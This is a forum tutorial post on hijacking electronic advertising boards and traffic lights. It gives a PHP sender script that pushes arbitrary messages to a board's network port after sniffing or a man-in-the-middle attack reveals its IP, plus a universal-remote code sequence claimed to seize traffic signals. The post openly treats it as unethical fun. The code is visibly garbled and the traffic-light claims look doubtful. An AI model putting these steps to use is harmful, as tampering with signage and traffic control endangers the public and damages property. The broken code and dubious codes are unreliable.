Forum Thread: Controlling Electronic Boards and Traffic Lights by Mohamed Ahmed part1 .

*-Introduction!

  • -Techniques
  • -Tools
  • As used & iQuest ;?
  • -haha nothing else for this lesson :P

Introduction

Well with this I do not want to Walk around There are putting on screens advertising your Nick or XD messages or if? because I do not lol

with this I intend to teach you how to control the Electronic Boards and traffic lightsthat you can find in .. Stadiums .. Centers .. Advertisements etc.

Although there is going the Question .. Of what would it be to do THIS TYPE OF THINGS ..!!! XD
.. to have fun although with little ethics and Education .. Well let's going hahaha.

Technics

ELECTRONIC BOARDS:

in this first lesson we will use the WIFI technique with a Sniffer .. to capture packages and Modify them !! in addition to another method with IP and a file in PHP helps us to intercept the message.

traffic lights :

for this there is not much science .. but it is possible to say that NOT ALL thetraffic lights are vulnerable ..but why would we use them? because very simple .. traffic lights are new I think ? are assisted by INFRARED .. if that transfer system is old ??.. Well we will get REMOTE control on the system but this will not serve us ... we need a UNIVERSAL!

Tools

Controlling Electronic Boards needs :

-Pc Portable
-Sniffer ETTERCAP or WIRESHARK
-PHP Sender to Send Messages to boards by PHP not to persons :)

the Code

<html>

<body bgcolor = black text = # ff0000>

Home

<center>

<h1> CONTROLLER OF ELECTRONIC BOARDS </ h1>

Home

<font color = # ffffff>

<form action = "<? php echo $ _SERVER 'PHP_SELF';?>" method = "POST">

<table border = 0 width = 360>

<td align = "right">

<b> HOST / IP: </ b>

<b> Message: </ b> <br> <br> <br> <br> The Internet Movie Database

<b> Effect: </ b> <br>

</ td>

<td>

<input type = "text" name = "host"

<textarea rows = 3 cols = 30 name = "message"> </ textarea> <br> <br>

<select name = "effect">

<option value = 0> Fixed </ option>

<option value = 1> Flashing </ option>

<option value = 2> Scroll left </ option>

<option value = 3> Displacement der </ option>

<option value = 4> Zig Zag 1 </ option>

<option value = 5> Zig Zag 2 </ option>

<option value = 6> Zig Zag 3 </ option>

<option value = 7> Waterfall below </ option>

<option value = 8> Waterfall above </ option>

<option value = 9> Normal left </ option>

<option value = 10> Thick letter </ option>

</ select> <br>

</ td>

</ table>

Home

<input type = "submit" value = "Send" name = "click">

<br> <br> <hr>

</ form>

</ body>

</ html>

<? php

define ("TAB_LONGITUD", 21);

define ("TABINIMSG", "\ xac \ xe1");

define ("TABFINMSG", "\ x8b \ x34");

define ("TAB_PUERTO", 2000);

define ("TAB_TIMEOUT", 7); //Seconds

define ("CHAR_RELLENO", "*");

define ("EFFECT_DEFAULT", 0x09);

POST 'message') && isset ($ POST 'host') && isset ($ POST 'effect')

$ host = $ _POST 'host';

$ message = $ _POST 'message';

$ effect = $ _POST 'EFFECT';

if (! ($ board = @ fsockopen ($ host, TABPUERTO, $ errno, $ errstring, TABTIMEOUT)) {

echo "<br> <b> ERROR ($ errno): $ errstring </ b> <br>";

exit (1);

}

$ fx = 0x80 + $ effect;

$ non-printable = array ('' '' '' '' '' '' '' '' '' '' '' '' '' '' , 'š', 'Ž');

$ clean = FALSE;

if (empty ($ message)) {

$ clean = TRUE;

$ message = strpad ($ message, TABLONGITUD + 1, "", STRPADBOTH);

}

/ CLEANING THE MESSAGE /

$ message = str_replace ($ non-printable, '', $ message); // Delete the non-printable ones by the board

$ message = strtr ($ message, "aéióúñÁÉÍÓÚÑ", "aeiounAEIOUN"); // Remove accents and tilde

$ message = str_replace ("\ r", '', $ message); // Delete Carriage Return

$ message = str_replace ("\ n", '', $ message); // Delete Line Feed

$ message = str_replace ("\ t", '', $ message); // Delete Tabular

/ ************* /

if (! $ clean)

if ($ fx == 0x89 || $ fx == 0x8a) {// Long messages

$ message = strpad ($ message, strlen ($ message) + 2, "", STRPAD_BOTH);

$ message = strpad ($ message, strlen ($ message) + 6, CHARRELLENO, STRPADBOTH);

$ message = strpad ($ message, strlen ($ message) + TABLONGITUD * 2 + 2, "", STRPADBOTH);

} else {// Short Messages

if (strlen ($ message)> = TAB_LONGITUD)

$ message = substr ($ message, 0, TAB_LONGITUD). "";

else

switch (strlen ($ message)) {

case (TAB_LONGITUD - 1):

$ message. = "";

break;

case (TAB_LONGITUD - 2):

$ message = "". $ message. "";

break;

case (TAB_LONGITUD - 3):

$ message = "". $ message. "";

break;

default:

$ message = "". $ message. "";

$ message = strpad ($ message, TABLONGITUD, CHARRELLENO, STRPAD_BOTH). "";

}

}

$ buff = TABINIMSG. chr ($ fx). $ message. TABFINMSG;

fwrite ($ board, $ buff);

echo "<br> <b> REPLY OF THE BOARD: </ b>";

$ answer = fread ($ board, 16);

fclose ($ board);

if (! strstr ($ answer, "OK"))

echo "FAIL!";

else

echo "OK!";

}

?>

  • second

controling traffic lights need :

  • Remote Control UIVERSAL

note

NOT ALL TRAFFIC LIGHTS ARE VULNERABLE ... I TRIED MORE AND MORE UNTIL I GET ONE

How is it used?

1) Controlling electronic boards

METHOD (1) 0000 not important for real 000

1- Portable Pc at a distance from the board of about 5 to 14 MTS
2 - Make an MITM to see incoming and outgoing packets.
3 - Modify the transfer for our message.

METHOD( 2)

This is my favorite and Most Simple! Why is it my favorite? by ke send Texts with the predetermined EFFECTS of this type of Boards

1- We turn on PCs to about 5 or 14 MTS
2- We set sniffer or a Repository to remove the IP
3- once obtained the IP We go to our PHP file mounted on a server.

PIC 1

the privacy of the website dosen't allow any Infringement of privacy of public property :(

PIC 2

In effect put any thing or leave it ( flicker )
you now can modify message wiht any thing you want :)

Control of traffic lights

This is Simple ... but difficult find a Vulnerable traffic light ! but don't worry in the next lessons i will explait how to target any one :)

1- We take a UNIVERSAL Control of those that are handled with CODES of Auto-programming

2- A Few Metres We do this sequence to meassure it

"POWER for 5 Seconds Then the ENTER Button then insert these codes:"

  • 911
  • 116
  • 114
  • 505
  • 105

If you do not use POWER or ENTER ... or if your Control does not have it, you can use

POWER for 5 seconds and the INSERT CODE or CODE key
With this we could keep control of a traffic signal Keeping us in a Disciple captured in 9 MTS Circumference

We could try this method! qmaneja the CONTROL or circuit of commands governed by this PORTALHACKER OUTLET

Timer Times

This is used with a Relog Pulse generator 555 or a pIC or PCL

This I do not explain in depth Why the truth goes EXPENSIVE XD

that was our first and easy lesson
see u later
mr.mohamed ahmed

Never Miss a Hacking or Security Guide

New Null Byte in your inbox, every week.

Be the First to Respond

Share Your Thoughts

  • Hot
  • Active